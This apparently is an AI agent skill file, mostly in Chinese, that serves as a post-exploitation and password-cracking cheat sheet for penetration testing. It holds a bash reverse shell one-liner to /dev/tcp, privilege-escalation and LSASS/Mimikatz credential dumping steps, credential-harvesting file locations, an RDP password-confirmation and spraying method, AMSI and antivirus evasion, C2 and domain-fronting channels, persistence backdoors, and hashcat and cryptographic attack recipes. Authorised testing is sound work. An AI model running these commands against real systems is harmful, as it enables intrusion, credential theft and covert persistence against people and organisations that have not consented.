后渗透/提权+凭据破解+密码学:反弹shell,Linux/Windows提权,横向,隧道,免杀,C2持久化,hashcat/Padding Oracle/hash长度扩展。Use when post-exploitation, privilege escalation, lateral movement, or cracking crypto.
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=== 后渗透/提权 ===
反弹shell: bash -i >& /dev/tcp/IP/4444 0>&1 | OpenSSL加密绕IDS | PTY: python3 -c 'import pty;pty.spawn("/bin/bash")'
Linux提权: sudo -l;SUID(GTFOBins);getcap;cron;可写文件 | LinPEAS/pspy | cap_setuid/Docker组/LD_PRELOAD
Windows提权: PrintSpoofer/GodPotato(SeImpersonate) | 服务错配/AlwaysInstallElevated | procdump LSASS→Mimikatz | winPEAS
横向: PtH crackmapexec/wmiexec | SSH密钥收割 | 凭据位置 .bash_history/.my.cnf/.netrc/.git-credentials
🚨RDP凭据确认(密码正确但RDP未启用): hydra报"account might be valid but not active for remote desktop" + impacket rdp_check返回"Connection reset by peer"(而非"Access Denied")= 密码正确但账户无RDP权限。
验证: 先用已知错误密码测rdp_check得到"Access Denied"作基线,目标密码返回reset=确认。确认后用同凭据喷其他服务(FTP/SMB/MySQL/BT Panel/SSH/Web后台)。
隧道: ssh -L/-D/-J | chisel反向SOCKS | ligolo-ng | 容器逃逸:特权容器chroot/CAP_SYS_ADMIN/docker.sock/runc CVE
免杀: Linux DDexec内存执行/memfd | Windows AMSI修补/直接syscall(SysWhispers3)/Donut/Sliver/Havoc
C2/持久化技术清单: Beacon(长睡眠+jitter低调) vs 交互式shell(打点快但吵) | 信道 HTTPS/DNS隧道/域前置(Domain Fronting)/CDN前置/合法云(Slack/Telegram/GitHub当C2)
Linux持久化: cron/systemd timer/SSH authorized_keys/PAM后门/LD_PRELOAD/.bashrc/rc.local/恶意内核模块
Windows持久化: 注册表Run键/计划任务/服务/WMI事件订阅(无文件)/启动文件夹/DLL劫持/COM劫持/快捷方式 | 每处持久化都进 `pentest-output-standards` 台账可回滚
=== 凭据破解 + 密码学攻击 ===
hash破解: hashcat -m <mode> hash wordlist -r rules/best64.rule | 识别 hashid/hash-identifier | 常用mode 0(MD5)/100(SHA1)/1000(NTLM)/1800(sha512crypt)/3200(bcrypt)/13100(Kerberoast TGS)/18200(AS-REP)/22000(WPA)/16500(JWT)
策略: 先字典(rockyou)+规则(best64/dive)→掩码爆破?d?d?d?d→组合攻击 | john --format= 兜底 | 在线彩虹表 crackstation先查
密码学攻击(不用爆破直接破): Padding Oracle(padbuster解密/伪造CBC密文) | ECB字节翻转(分块猜) | hash长度扩展(hashpump伪造签名,服务端 hash(secret+data)校验) | 弱IV/固定nonce复用(异或还原明文) | RSA小e/共模/Wiener小d(RsaCtfTool) | JWT alg混淆见 `web-attack-methods` 认证授权dad14c5
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